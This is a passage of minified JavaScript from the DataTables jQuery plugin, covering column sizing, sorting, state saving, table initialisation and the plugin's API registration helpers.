style="height:0;overflow:hidden;">'+A[e]+"</div>",t.style.width=D[e]},i),T&&P(function(t,e){t.innerHTML="",t.style.width=I[e]},s),_.outerWidth()<u?(e=g.scrollHeight>g.offsetHeight||"scroll"==m.css("overflow-y")?u+h:u,k&&(g.scrollHeight>g.offsetHeight||"scroll"==m.css("overflow-y"))&&(C.width=E(e-h)),""!==r&&""===l||L(n,1,"Possible column misalignment",6)):e="100%",v.width=E(e),d.width=E(e),T&&(n.nScrollFoot.style.width=E(e)),!c&&k&&(v.height=E(w.offsetHeight+h)),r=_.outerWidth(),f[0].style.width=E(r),p.width=E(r),l=_.height()>g.clientHeight||"scroll"==m.css("overflow-y"),p[c="padding"+(x.bScrollbarLeft?"Left":"Right")]=l?h+"px":"0px",T&&(y[0].style.width=E(r),b[0].style.width=E(r),b[0].style[c]=l?h+"px":"0px"),m.scroll(),!n.bSorted&&!n.bFiltered||n._drawHold||(g.scrollTop=0)}function P(t,e,n){for(var i,s,o=0,a=0,r=e.length;a<r;){for(i=e[a].firstChild,s=n?n[a].firstChild:null;i;)1===i.nodeType&&(n?t(i,s,o):t(i,o),o++),i=i.nextSibling,s=n?s.nextSibling:null;a++}}function Pt(t){var e,n,i=t.nTable,s=t.aoColumns,o=(g=t.oScroll).sY,a=g.sX,r=g.sXInner,l=s.length,c=S(t,"bVisible"),h=M("th",t.nTHead),u=i.getAttribute("width"),d=i.parentNode,p=!1,f=t.oBrowser,g=f.bScrollOversize;for((e=i.style.width)&&-1!==e.indexOf("%")&&(u=e),e=0;e<c.length;e++)null!==(n=s[c[e]]).sWidth&&(n.sWidth=Lt(n.sWidthOrig,d),p=!0);if(g||!p&&!a&&!o&&l==y(t)&&l==h.length)for(e=0;e<l;e++)s[e].sWidth=E(h.eq(e).width());else{(l=M(i).clone().css("visibility","hidden").removeAttr("id")).find("tbody tr").remove();var m=M("<tr/>").appendTo(l.find("tbody"));for(l.find("thead, tfoot").remove(),l.append(M(t.nTHead).clone()).append(M(t.nTFoot).clone()),l.find("tfoot th, tfoot td").css("width",""),h=it(t,l.find("thead")[0]),e=0;e<c.length;e++)n=s[c[e]],h[e].style.width=null!==n.sWidthOrig&&""!==n.sWidthOrig?E(n.sWidthOrig):"";if(t.aoData.length)for(e=0;e<c.length;e++)n=s[p=c[e]],M(Ot(t,p)).clone(!1).append(n.sContentPadding).appendTo(m);if(p=M("<div/>").css(a||o?{position:"absolute",top:0,left:0,height:1,right:0,overflow:"hidden"}:{}).append(l).appendTo(d),a&&r?l.width(r):a?(l.css("width","auto"),l.width()<d.clientWidth&&l.width(d.clientWidth)):o?l.width(d.clientWidth):u&&l.width(u),a){for(e=r=0;e<c.length;e++)n=s[c[e]],o=f.bBounding?h[e].getBoundingClientRect().width:M(h[e]).outerWidth(),r+=null===n.sWidthOrig?o:parseInt(n.sWidth,10)+o-M(h[e]).width();l.width(E(r)),i.style.width=E(r)}for(e=0;e<c.length;e++)n=s[c[e]],(f=M(h[e]).width())&&(n.sWidth=E(f));i.style.width=E(l.css("width")),p.remove()}u&&(i.style.width=E(u)),!u&&!a||t._reszEvt||(i=function(){M(Pe).bind("resize.DT-"+t.sInstance,Et(function(){v(t)}))},g?setTimeout(i,1e3):i(),t._reszEvt=!0)}function Et(i,t){var s,o,a=t!==Le?t:200;return function(){var t=this,e=+new Date,n=arguments;s&&e<s+a?(clearTimeout(o),o=setTimeout(function(){s=Le,i.apply(t,n)},a)):(s=e,i.apply(t,n))}}function Lt(t,e){return t?(e=(t=M("<div/>").css("width",E(t)).appendTo(e||Ee.body))[0].offsetWidth,t.remove(),e):0}function Ot(t,e){var n,i=Rt(t,e);return i<0?null:(n=t.aoData[i]).nTr?n.anCells[e]:M("<td/>").html(w(t,i,e,"display"))[0]}function Rt(t,e){for(var n,i=-1,s=-1,o=0,a=t.aoData.length;o<a;o++)(n=(n=w(t,o,e,"display")+"").replace(Te,"")).length>i&&(i=n.length,s=o);return s}function E(t){return null===t?"0px":"number"==typeof t?t<0?"0px":t+"px":t.match(/\d$/)?t+"px":t}function Ft(){var t,e=R.__scrollbarWidth;return e===Le&&(e=(t=M("<p/>").css({position:"absolute",top:0,left:0,width:"100%",height:150,padding:0,overflow:"scroll",visibility:"hidden"}).appendTo("body"))[0].offsetWidth-t[0].clientWidth,R.__scrollbarWidth=e,t.remove()),e}function x(t){var e,n,i,s=[],o=t.aoColumns,a=t.aaSortingFixed,r=M.isPlainObject(a),l=[],c=function(t){t.length&&!M.isArray(t[0])?l.push(t):l.push.apply(l,t)};for(M.isArray(a)&&c(a),r&&a.pre&&c(a.pre),c(t.aaSorting),r&&a.post&&c(a.post),t=0;t<l.length;t++)for(r=(c=o[i=l[t][a=0]].aDataSort).length;a<r;a++)n=o[e=c[a]].sType||"string",l[t]._idx===Le&&(l[t]._idx=M.inArray(l[t][1],o[e].asSorting)),s.push({src:i,col:e,dir:l[t][1],index:l[t]._idx,type:n,formatter:R.ext.type.order[n+"-pre"]});return s}function jt(t){var e,n,i,c,h=[],u=R.ext.type.order,d=t.aoData,s=0,o=t.aiDisplayMaster;for(B(t),e=0,n=(c=x(t)).length;e<n;e++)(i=c[e]).formatter&&s++,Wt(t,i.col);if("ssp"!=A(t)&&0!==c.length){for(e=0,n=o.length;e<n;e++)h[o[e]]=e;s===c.length?o.sort(function(t,e){for(var n,i,s,o=c.length,a=d[t]._aSortData,r=d[e]._aSortData,l=0;l<o;l++)if(0!==(n=(n=a[(s=c[l]).col])<(i=r[s.col])?-1:i<n?1:0))return"asc"===s.dir?n:-n;return(n=h[t])<(i=h[e])?-1:i<n?1:0}):o.sort(function(t,e){for(var n,i,s,o=c.length,a=d[t]._aSortData,r=d[e]._aSortData,l=0;l<o;l++)if(n=a[(s=c[l]).col],i=r[s.col],0!==(n=(s=u[s.type+"-"+s.dir]||u["string-"+s.dir])(n,i)))return n;return(n=h[t])<(i=h[e])?-1:i<n?1:0})}t.bSorted=!0}function Ht(t){for(var e=t.aoColumns,n=x(t),t=t.oLanguage.oAria,i=0,s=e.length;i<s;i++){var o,a=(o=e[i]).asSorting,r=o.sTitle.replace(/<.*?>/g,""),l=o.nTh;l.removeAttribute("aria-sort"),o.bSortable&&(r+="asc"===(o=0<n.length&&n[0].col==i&&(l.setAttribute("aria-sort","asc"==n[0].dir?"ascending":"descending"),a[n[0].index+1])||a[0])?t.sSortAscending:t.sSortDescending),l.setAttribute("aria-label",r)}}function Nt(t,e,n,i){function s(t,e){var n=t._idx;return(n=n===Le?M.inArray(t[1],a):n)+1<a.length?n+1:e?null:0}var o=t.aaSorting,a=t.aoColumns[e].asSorting;"number"==typeof o[0]&&(o=t.aaSorting=[o]),n&&t.oFeatures.bSortMulti?-1!==(n=M.inArray(e,g(o,"0")))?null===(e=null===(e=s(o[n],!0))&&1===o.length?0:e)?o.splice(n,1):(o[n][1]=a[e],o[n]._idx=e):(o.push([e,a[0],0]),o[o.length-1]._idx=0):o.length&&o[0][0]==e?(e=s(o[0]),o.length=1,o[0][1]=a[e],o[0]._idx=e):(o.length=0,o.push([e,a[0]]),o[0]._idx=0),r(t),"function"==typeof i&&i(t)}function $t(e,t,n,i){var s=e.aoColumns[n];Gt(t,{},function(t){!1!==s.bSortable&&(e.oFeatures.bProcessing?(p(e,!0),setTimeout(function(){Nt(e,n,t.shiftKey,i),"ssp"!==A(e)&&p(e,!1)},0)):Nt(e,n,t.shiftKey,i))})}function zt(t){var e,n,i=t.aLastSort,s=t.oClasses.sSortColumn,o=x(t),a=t.oFeatures;if(a.bSort&&a.bSortClasses){for(a=0,e=i.length;a<e;a++)n=i[a].src,M(g(t.aoData,"anCells",n)).removeClass(s+(a<2?a+1:3));for(a=0,e=o.length;a<e;a++)n=o[a].src,M(g(t.aoData,"anCells",n)).addClass(s+(a<2?a+1:3))}t.aLastSort=o}function Wt(t,e){var n,i=t.aoColumns[e],s=R.ext.order[i.sSortDataType];s&&(n=s.call(t.oInstance,t,e,c(t,e)));for(var o,a=R.ext.type.order[i.sType+"-pre"],r=0,l=t.aoData.length;r<l;r++)(i=t.aoData[r])._aSortData||(i._aSortData=[]),i._aSortData[e]&&!s||(o=s?n[r]:w(t,r,e,"sort"),i._aSortData[e]=a?a(o):o)}function Ut(n){var t;n.oFeatures.bStateSave&&!n.bDestroying&&(t={time:+new Date,start:n._iDisplayStart,length:n._iDisplayLength,order:M.extend(!0,[],n.aaSorting),search:vt(n.oPreviousSearch),columns:M.map(n.aoColumns,function(t,e){return{visible:t.bVisible,search:vt(n.aoPreSearchCols[e])}})},I(n,"aoStateSaveParams","stateSaveParams",[n,t]),n.oSavedState=t,n.fnStateSaveCallback.call(n.oInstance,n,t))}function Bt(n){var t,e,i=n.aoColumns;if(n.oFeatures.bStateSave){var s=n.fnStateLoadCallback.call(n.oInstance,n);if(s&&s.time&&(t=I(n,"aoStateLoadParams","stateLoadParams",[n,s]),-1===M.inArray(!1,t))&&!(0<(t=n.iStateDuration)&&s.time<+new Date-1e3*t)&&i.length===s.columns.length){for(n.oLoadedState=M.extend(!0,{},s),s.start!==Le&&(n._iDisplayStart=s.start,n.iInitDisplayStart=s.start),s.length!==Le&&(n._iDisplayLength=s.length),s.order!==Le&&(n.aaSorting=[],M.each(s.order,function(t,e){n.aaSorting.push(e[0]>=i.length?[0,e[1]]:e)})),s.search!==Le&&M.extend(n.oPreviousSearch,bt(s.search)),t=0,e=s.columns.length;t<e;t++){var o=s.columns[t];o.visible!==Le&&(i[t].bVisible=o.visible),o.search!==Le&&M.extend(n.aoPreSearchCols[t],bt(o.search))}I(n,"aoStateLoaded","stateLoaded",[n,s])}}}function Vt(t){var e=R.settings;return-1!==(t=M.inArray(t,g(e,"nTable")))?e[t]:null}function L(t,e,n,i){if(n="DataTables warning: "+(t?"table id="+t.sTableId+" - ":"")+n,i&&(n+=". For more information about this error, please see http://datatables.net/tn/"+i),e)Pe.console&&console.log&&console.log(n);else if(e=(e=R.ext).sErrMode||e.errMode,t&&I(t,null,"error",[t,i,n]),"alert"==e)alert(n);else{if("throw"==e)throw Error(n);"function"==typeof e&&e(t,i,n)}}function k(n,i,t,e){M.isArray(t)?M.each(t,function(t,e){M.isArray(e)?k(n,i,e[0],e[1]):k(n,i,e)}):(e===Le&&(e=t),i[t]!==Le&&(n[e]=i[t]))}function qt(t,e,n){var i,s;for(s in e)e.hasOwnProperty(s)&&(i=e[s],M.isPlainObject(i)?(M.isPlainObject(t[s])||(t[s]={}),M.extend(!0,t[s],i)):t[s]=n&&"data"!==s&&"aaData"!==s&&M.isArray(i)?i.slice():i);return t}function Gt(e,t,n){M(e).bind("click.DT",t,function(t){e.blur(),n(t)}).bind("keypress.DT",t,function(t){13===t.which&&(t.preventDefault(),n(t))}).bind("selectstart.DT",function(){return!1})}function D(t,e,n,i){n&&t[e].push({fn:n,sName:i})}function I(e,t,n,i){var s=[];return t&&(s=M.map(e[t].slice().reverse(),function(t){return t.fn.apply(e.oInstance,i)})),null!==n&&(t=M.Event(n+".dt"),M(e.nTable).trigger(t,i),s.push(t.result)),s}function Xt(t){var e=t._iDisplayStart,n=t.fnDisplayEnd(),i=t._iDisplayLength;n<=e&&(e=n-i),e-=e%i,t._iDisplayStart=e=-1===i||e<0?0:e}function Jt(t,e){var t=t.renderer,n=R.ext.renderer[e];return M.isPlainObject(t)&&t[e]?n[t[e]]||n._:"string"==typeof t&&n[t]||n._}function A(t){return t.oFeatures.bServerSide?"ssp":t.ajax||t.sAjaxSource?"ajax":"dom"}function Zt(t,e){var n=[],n=Me.numbers_length,i=Math.floor(n/2);return e<=n?n=d(0,e):t<=i?((n=d(0,n-2)).push("ellipsis"),n.push(e-1)):(e-1-i<=t?n=d(e-(n-2),e):((n=d(t-i+2,t+i-1)).push("ellipsis"),n.push(e-1)),n.splice(0,0,"ellipsis"),n.splice(0,0,0)),n.DT_el="span",n}function Yt(n){M.each({num:function(t){return ue(t,n)},"num-fmt":function(t){return ue(t,n,be)},"html-num":function(t){return ue(t,n,fe)},"html-num-fmt":function(t){return ue(t,n,fe,be)}},function(t,e){O.type.order[t+n+"-pre"]=e,t.match(/^html\-/)&&(O.type.search[t+n]=O.type.search.html)})}function Kt(e){return function(){var t=[Vt(this[R.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return R.ext.internal[e].apply(this,t)}}function a(t){return!t||!0===t||"-"===t}function Qt(t){var e=parseInt(t,10);return!isNaN(e)&&isFinite(t)?e:null}function te(t,e,n){var i="string"==typeof t;return!!a(t)||(e&&i&&(t=ye(t,e)),n&&i&&(t=t.replace(be,"")),!isNaN(parseFloat(t))&&isFinite(t))}function ee(t,e,n){return!!a(t)||(a(t)||"string"==typeof t)&&!!te(t.replace(fe,""),e,n)||null}function ne(t,e,n,i){var s=[],o=0,a=e.length;if(i!==Le)for(;o<a;o++)t[e[o]][n]&&s.push(t[e[o]][n][i]);else for(;o<a;o++)s.push(t[e[o]][n]);return s}function d(t,e){var n,i=[];e===Le?(e=0,n=t):(n=e,e=t);for(var s=e;s<n;s++)i.push(s);return i}function ie(t){for(var e=[],n=0,i=t.length;n<i;n++)t[n]&&e.push(t[n]);return e}function se(i,s,t){var e,n;t&&(e=new F(i)).one("draw",function(){t(e.ajax.json())}),"ssp"==A(i)?r(i,s):(p(i,!0),(n=i.jqXHR)&&4!==n.readyState&&n.abort(),st(i,[],function(t){Z(i);for(var e=0,n=(t=lt(i,t)).length;e<n;e++)_(i,t[e]);r(i,s),p(i,!1)}))}function oe(t,e,n,i,s){var o,a,r,l,c,h=[],u=typeof e;for(e&&"string"!==u&&"function"!==u&&e.length!==Le||(e=[e]),u=0,r=e.length;u<r;u++)for(l=0,c=(a=e[u]&&e[u].split?e[u].split(","):[e[u]]).length;l<c;l++)(o=n("string"==typeof a[l]?M.trim(a[l]):a[l]))&&o.length&&h.push.apply(h,o);if((t=O.selector[t]).length)for(u=0,r=t.length;u<r;u++)h=t[u](i,s,h);return h}function ae(t){return(t=t||{}).filter&&t.search===Le&&(t.search=t.filter),M.extend({search:"none",order:"current",page:"all"},t)}function re(t){for(var e=0,n=t.length;e<n;e++)if(0<t[e].length)return t[0]=t[e],t[0].length=1,t.length=1,t.context=[t.context[e]],t;return t.length=0,t}function le(t,e){var n=t.context;n.length&&(n=n[0].aoData[e!==Le?e:t[0]])&&n._details&&(n._details.remove(),n._detailsShow=Le,n._details=Le)}function ce(t,e){var a,s,r,n=t.context;n.length&&t.length&&(t=n[0].aoData[t[0]])._details&&((t._detailsShow=e)?t._details.insertAfter(t.nTr):t._details.detach(),a=n[0],s=new F(a),r=a.aoData,s.off("draw.dt.DT_details column-visibility.dt.DT_details destroy.dt.DT_details"),0<g(r,"_details").length)&&(s.on("draw.dt.DT_details",function(t,e){a===e&&s.rows({page:"current"}).eq(0).each(function(t){(t=r[t])._detailsShow&&t._details.insertAfter(t.nTr)})}),s.on("column-visibility.dt.DT_details",function(t,e){if(a===e)for(var n,i=y(e),s=0,o=r.length;s<o;s++)(n=r[s])._details&&n._details.children("td[colspan]").attr("colspan",i)}),s.on("destroy.dt.DT_details",function(t,e){if(a===e)for(var n=0,i=r.length;n<i;n++)r[n]._details&&le(s,n)}))}function he(t,e,n,i,s){for(var n=[],i=0,o=s.length;i<o;i++)n.push(w(t,s[i],e));return n}function ue(t,e,n,i){return 0===t||t&&"-"!==t?+(t=(t=e?ye(t,e):t).replace&&(n&&(t=t.replace(n,"")),i)?t.replace(i,""):t):-1/0}var O,e,de={},pe=/[\r\n]/g,fe=/<.*?>/g,ge=/^[\w\+\-]/,me=/[\w\+\-]$/,ve=RegExp("(\\/|\\.|\\*|\\+|\\?|\\||\\(|\\)|\\[|\\]|\\{|\\}|\\\\|\\$|\\^|\\-)","g"),be=/[',$£€¥%\u2009\u202F\u20BD\u20a9\u20BArfk]/gi,ye=function(t,e){return de[e]||(de[e]=RegExp(gt(e),"g")),"string"==typeof t&&"."!==e?t.replace(/\./g,"").replace(de[e],"."):t},g=function(t,e,n){var i=[],s=0,o=t.length;if(n!==Le)for(;s<o;s++)t[s]&&t[s][e]&&i.push(t[s][e][n]);else for(;s<o;s++)t[s]&&i.push(t[s][e]);return i},Se=function(t){var e,n,i=[],s=t.length,o=0,a=0;t:for(;a<s;a++){for(e=t[a],n=0;n<o;n++)if(i[n]===e)continue t;i.push(e),o++}return i},i=function(t,e,n){t[e]!==Le&&(t[n]=t[e])},_e=/\[.*?\]$/,m=/\(\)$/,we=M("<div>")[0],Ce=we.textContent!==Le,Te=/<.*?>/g,R=function(f){this.$=function(t,e){return this.api(!0).$(t,e)},this._=function(t,e){return this.api(!0).rows(t,e).data()},this.api=function(t){return new F(t?Vt(this[O.iApiIndex]):this)},this.fnAddData=function(t,e){var n=this.api(!0),t=(M.isArray(t)&&(M.isArray(t[0])||M.isPlainObject(t[0]))?n.rows:n.row).add(t);return e!==Le&&!e||n.draw(),t.flatten().toArray()},this.fnAdjustColumnSizing=function(t){var e=this.api(!0).columns.adjust(),n=e.settings()[0],i=n.oScroll;t===Le||t?e.draw(!1):""===i.sX&&""===i.sY||Mt(n)},this.fnClearTable=function(t){var e=this.api(!0).clear();t!==Le&&!t||e.draw()},this.fnClose=function(t){this.api(!0).row(t).child.hide()},this.fnDeleteRow=function(t,e,n){var i=this.api(!0),s=(t=i.rows(t)).settings()[0],o=s.aoData[t[0][0]];return t.remove(),e&&e.call(this,s,o),n!==Le&&!n||i.draw(),o},this.fnDestroy=function(t){this.api(!0).destroy(t)},this.fnDraw=function(t){this.api(!0).draw(t)},this.fnFilter=function(t,e,n,i,s,o){s=this.api(!0),(null===e||e===Le?s:s.column(e)).search(t,n,i,o),s.draw()},this.fnGetData=function(t,e){var n,i=this.api(!0);return t!==Le?(n=t.nodeName?t.nodeName.toLowerCase():"",e!==Le||"td"==n||"th"==n?i.cell(t,e).data():i.row(t).data()||null):i.data().toArray()},this.fnGetNodes=function(t){var e=this.api(!0);return t!==Le?e.row(t).node():e.rows().nodes().flatten().toArray()},this.fnGetPosition=function(t){var e=this.api(!0),n=t.nodeName.toUpperCase();return"TR"==n?e.row(t).index():"TD"==n||"TH"==n?[(t=e.cell(t).index()).row,t.columnVisible,t.column]:null},this.fnIsOpen=function(t){return this.api(!0).row(t).child.isShown()},this.fnOpen=function(t,e,n){return this.api(!0).row(t).child(e,n).show().child()[0]},this.fnPageChange=function(t,e){t=this.api(!0).page(t);e!==Le&&!e||t.draw(!1)},this.fnSetColumnVis=function(t,e,n){t=this.api(!0).column(t).visible(e),n!==Le&&!n||t.columns.adjust().draw()},this.fnSettings=function(){return Vt(this[O.iApiIndex])},this.fnSort=function(t){this.api(!0).order(t).draw()},this.fnSortListener=function(t,e,n){this.api(!0).order.listener(t,e,n)},this.fnUpdate=function(t,e,n,i,s){var o=this.api(!0);return(n===Le||null===n?o.row(e):o.cell(e,n)).data(t),s!==Le&&!s||o.columns.adjust(),i!==Le&&!i||o.draw(),0},this.fnVersionCheck=O.fnVersionCheck;var t,g=this,m=f===Le,v=this.length;for(t in m&&(f={}),this.oApi=this.internal=O.internal,R.ext.internal)t&&(this[t]=Kt(t));return this.each(function(){var t={},t=1<v?qt(t,f,!0):f,e=0,n=this.getAttribute("id"),i=!1,s=R.defaults,o=M(this);if("table"!=this.nodeName.toLowerCase())L(null,0,"Non-table node initialisation ("+this.nodeName+")",2);else{H(s),N(s.column),b(s,s,!0),b(s.column,s.column,!0),b(s,M.extend(t,o.data()));for(var a=R.settings,e=0,r=a.length;e<r;e++){var l=a[e];if(l.nTable==this||l.nTHead.parentNode==this||l.nTFoot&&l.nTFoot.parentNode==this){if(e=(t.bRetrieve!==Le?t:s).bRetrieve,m||e)return l.oInstance;if((t.bDestroy!==Le?t:s).bDestroy){l.oInstance.fnDestroy();break}return void L(l,0,"Cannot reinitialise DataTable",3)}if(l.sTableId==this.id){a.splice(e,1);break}}null!==n&&""!==n||(this.id=n="DataTables_Table_"+R.ext._unique++);var c,h=M.extend(!0,{},R.models.oSettings,{sDestroyWidth:o[0].style.width,sInstance:n,sTableId:n}),u=(h.nTable=this,h.oApi=g.internal,h.oInit=t,a.push(h),h.oInstance=1===g.length?g:o.dataTable(),H(t),t.oLanguage&&j(t.oLanguage),t.aLengthMenu&&!t.iDisplayLength&&(t.iDisplayLength=(M.isArray(t.aLengthMenu[0])?t.aLengthMenu[0]:t.aLengthMenu)[0]),t=qt(M.extend(!0,{},s),t),k(h.oFeatures,t,"bPaginate bLengthChange bFilter bSort bSortMulti bInfo bProcessing bAutoWidth bSortClasses bServerSide bDeferRender".split(" ")),k(h,t,["asStripeClasses","ajax","fnServerData","fnFormatNumber","sServerMethod","aaSorting","aaSortingFixed","aLengthMenu","sPaginationType","sAjaxSource","sAjaxDataProp","iStateDuration","sDom","bSortCellsTop","iTabIndex","fnStateLoadCallback","fnStateSaveCallback","renderer","searchDelay","rowId",["iCookieDuration","iStateDuration"],["oSearch","oPreviousSearch"],["aoSearchCols","aoPreSearchCols"],["iDisplayLength","_iDisplayLength"],["bJQueryUI","bJUI"]]),k(h.oScroll,t,[["sScrollX","sX"],["sScrollXInner","sXInner"],["sScrollY","sY"],["bScrollCollapse","bCollapse"]]),k(h.oLanguage,t,"fnInfoCallback"),D(h,"aoDrawCallback",t.fnDrawCallback,"user"),D(h,"aoServerParams",t.fnServerParams,"user"),D(h,"aoStateSaveParams",t.fnStateSaveParams,"user"),D(h,"aoStateLoadParams",t.fnStateLoadParams,"user"),D(h,"aoStateLoaded",t.fnStateLoaded,"user"),D(h,"aoRowCallback",t.fnRowCallback,"user"),D(h,"aoRowCreatedCallback",t.fnCreatedRow,"user"),D(h,"aoHeaderCallback",t.fnHeaderCallback,"user"),D(h,"aoFooterCallback",t.fnFooterCallback,"user"),D(h,"aoInitComplete",t.fnInitComplete,"user"),D(h,"aoPreDrawCallback",t.fnPreDrawCallback,"user"),h.rowIdFn=C(t.rowId),n=h.oClasses,t.bJQueryUI?(M.extend(n,R.ext.oJUIClasses,t.oClasses),t.sDom===s.sDom&&"lfrtip"===s.sDom&&(h.sDom='<"H"lfr>t<"F"ip>'),h.renderer?M.isPlainObject(h.renderer)&&!h.renderer.header&&(h.renderer.header="jqueryui"):h.renderer="jqueryui"):M.extend(n,R.ext.classes,t.oClasses),o.addClass(n.sTable),""===h.oScroll.sX&&""===h.oScroll.sY||(h.oScroll.iBarWidth=Ft()),h.iInitDisplayStart===Le&&(h.iInitDisplayStart=t.iDisplayStart,h._iDisplayStart=t.iDisplayStart),null!==t.iDeferLoading&&(h.bDeferLoading=!0,e=M.isArray(t.iDeferLoading),h._iRecordsDisplay=e?t.iDeferLoading[0]:t.iDeferLoading,h._iRecordsTotal=e?t.iDeferLoading[1]:t.iDeferLoading),h.oLanguage),e=(M.extend(!0,u,t.oLanguage),""!==u.sUrl&&(M.ajax({dataType:"json",url:u.sUrl,success:function(t){j(t),b(s.oLanguage,t),M.extend(!0,u,t),wt(h)},error:function(){wt(h)}}),i=!0),null===t.asStripeClasses&&(h.asStripeClasses=[n.sStripeOdd,n.sStripeEven]),h.asStripeClasses),d=o.children("tbody").find("tr").eq(0);if(-1!==M.inArray(!0,M.map(e,function(t){return d.hasClass(t)}))&&(M("tbody tr",this).removeClass(e.join(" ")),h.asDestroyStripes=e.slice()),a=[],0!==(e=this.getElementsByTagName("thead")).length&&(T(h.aoHeader,e[0]),a=it(h)),null===t.aoColumns)for(l=[],e=0,r=a.length;e<r;e++)l.push(null);else l=t.aoColumns;for(e=0,r=l.length;e<r;e++)z(h,a?a[e]:null);V(h,t.aoColumnDefs,l,function(t,e){W(h,t,e)}),d.length&&(c=function(t,e){return null!==t.getAttribute("data-"+e)?e:null},M.each(K(h,d[0]).cells,function(t,e){var n,i=h.aoColumns[t];i.mData===t&&(n=c(e,"sort")||c(e,"order"),e=c(e,"filter")||c(e,"search"),null===n&&null===e||(i.mData={_:t+".display",sort:null!==n?t+".@data-"+n:Le,type:null!==n?t+".@data-"+n:Le,filter:null!==e?t+".@data-"+e:Le},W(h,t)))}));var p=h.oFeatures;if(t.bStateSave&&(p.bStateSave=!0,Bt(h),D(h,"aoDrawCallback",Ut,"state_save")),t.aaSorting===Le)for(e=0,r=(a=h.aaSorting).length;e<r;e++)a[e][1]=h.aoColumns[e].asSorting[0];if(zt(h),p.bSort&&D(h,"aoDrawCallback",function(){var t,n;h.bSorted&&(t=x(h),n={},M.each(t,function(t,e){n[e.src]=e.dir}),I(h,null,"order",[h,t,n]),Ht(h))}),D(h,"aoDrawCallback",function(){(h.bSorted||"ssp"===A(h)||p.bDeferRender)&&zt(h)},"sc"),$(h),e=o.children("caption").each(function(){this._captionSide=o.css("caption-side")}),0===(r=o.children("thead")).length&&(r=M("<thead/>").appendTo(this)),h.nTHead=r[0],0===(r=o.children("tbody")).length&&(r=M("<tbody/>").appendTo(this)),h.nTBody=r[0],0===(r=0===(r=o.children("tfoot")).length&&0<e.length&&(""!==h.oScroll.sX||""!==h.oScroll.sY)?M("<tfoot/>").appendTo(this):r).length||0===r.children().length?o.addClass(n.sNoFooter):0<r.length&&(h.nTFoot=r[0],T(h.aoFooter,h.nTFoot)),t.aaData)for(e=0;e<t.aaData.length;e++)_(h,t.aaData[e]);else!h.bDeferLoading&&"dom"!=A(h)||q(h,M(h.nTBody).children("tr"));h.aiDisplay=h.aiDisplayMaster.slice(),!(h.bInitialised=!0)===i&&wt(h)}}),g=null,this},xe=[],l=Array.prototype,F=function(t,e){if(!(this instanceof F))return new F(t,e);function n(t){var e,n,i,s,o;e=t,s=R.settings,o=M.map(s,function(t){return t.nTable}),(t=e?e.nTable&&e.oApi?[e]:e.nodeName&&"table"===e.nodeName.toLowerCase()?-1!==(n=M.inArray(e,o))?[s[n]]:null:e&&"function"==typeof e.settings?e.settings().toArray():("string"==typeof e?i=M(e):e instanceof M&&(i=e),i?i.map(function(){return-1!==(n=M.inArray(this,o))?s[n]:null}).toArray():void 0):[])&&a.push.apply(a,t)}var a=[];if(M.isArray(t))for(var i=0,s=t.length;i<s;i++)n(t[i]);else n(t);this.context=Se(a),e&&this.push.apply(this,e.toArray?e.toArray():e),this.selector={rows:null,cols:null,opts:null},F.extend(this,this,xe)},ke=((R.Api=F).prototype={any:function(){return 0!==this.count()},concat:l.concat,context:[],count:function(){return this.flatten().length},each:function(t){for(var e=0,n=this.length;e<n;e++)t.call(this,this[e],e,this);return this},eq:function(t){var e=this.context;return e.length>t?new F(e[t],this[t]):null},filter:function(t){var e=[];if(l.filter)e=l.filter.call(this,t,this);else for(var n=0,i=this.length;n<i;n++)t.call(this,this[n],n,this)&&e.push(this[n]);return new F(this.context,e)},flatten:function(){var t=[];return new F(this.context,t.concat.apply(t,this.toArray()))},join:l.join,indexOf:l.indexOf||function(t,e){for(var n=e||0,i=this.length;n<i;n++)if(this[n]===t)return n;return-1},iterator:function(t,e,n,i){var s,o,a,r,l,c,h,u=[],d=this.context,p=this.selector;for("string"==typeof t&&(i=n,n=e,e=t,t=!1),o=0,a=d.length;o<a;o++){var f=new F(d[o]);if("table"===e)(s=n.call(f,d[o],o))!==Le&&u.push(s);else if("columns"===e||"rows"===e)(s=n.call(f,d[o],this[o],o))!==Le&&u.push(s);else if("column"===e||"column-rows"===e||"row"===e||"cell"===e)for(h=this[o],"column-rows"===e&&(c=ke(d[o],p.opts)),r=0,l=h.length;r<l;r++)s=h[r],(s="cell"===e?n.call(f,d[o],s.row,s.column,o,r):n.call(f,d[o],s,o,r,c))!==Le&&u.push(s)}return u.length||i?((e=(t=new F(d,t?u.concat.apply([],u):u)).selector).rows=p.rows,e.cols=p.cols,e.opts=p.opts,t):this},lastIndexOf:l.lastIndexOf||function(t,e){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,map:function(t){var e=[];if(l.map)e=l.map.call(this,t,this);else for(var n=0,i=this.length;n<i;n++)e.push(t.call(this,this[n],n));return new F(this.context,e)},pluck:function(e){return this.map(function(t){return t[e]})},pop:l.pop,push:l.push,reduce:l.reduce||function(t,e){return n(this,t,e,0,this.length,1)},reduceRight:l.reduceRight||function(t,e){return n(this,t,e,this.length-1,-1,-1)},reverse:l.reverse,selector:null,shift:l.shift,sort:l.sort,splice:l.splice,toArray:function(){return l.slice.call(this)},to$:function(){return M(this)},toJQuery:function(){return M(this)},unique:function(){return new F(this.context,Se(this))},unshift:l.unshift},F.extend=function(t,e,n){if(n.length&&e&&(e instanceof F||e.__dt_wrapper))for(var i,s=0,o=n.length;s<o;s++)e[(i=n[s]).name]="function"==typeof i.val?function(e,n,i){return function(){var t=n.apply(e,arguments);return F.extend(t,t,i.methodExt),t}}(t,i.val,i):M.isPlainObject(i.val)?{}:i.val,e[i.name].__dt_wrapper=!0,F.extend(t,e[i.name],i.propExt)},F.register=e=function(t,e){if(M.isArray(t))for(var n=0,i=t.length;n<i;n++)F.register(t[n],e);else for(var s,o=t.split("."),a=xe,n=0,i=o.length;n<i;n++){var r=(s=-1!==o[n].indexOf("()"))?o[n].replace("()",""):o[n];t:{for(var l=0,c=a.length;l<c;l++)if(a[l].name===r){l=a[l];break t}l=null}l||a.push(l={name:r,val:{},methodExt:[],propExt:[]}),n===i-1?l.val=e:a=s?l.methodExt:l.propExt}},F.registerPlural=t=function(t,e,n){F.register(t,n),F.register(e,function(){var t=n.apply(this,arguments);return t===this?this:t instanceof F?t.length?M.isArray(t[0])?new F(t.context,t[0]):t[0]:Le:t})},e("tables()",function(t){var e,n,i;return e=t?(e=F,n=this.context,new e(t="number"==typeof t?[n[t]]:(i=M.map(n,function(t){return t.nTable}),M(i).filter(t).map(function(){var t=M.inArray(this,i);return n[t]}).toArray()))):this}),e("table()",function(t){var e=(t=this.tables(t)).context;return e.length?new 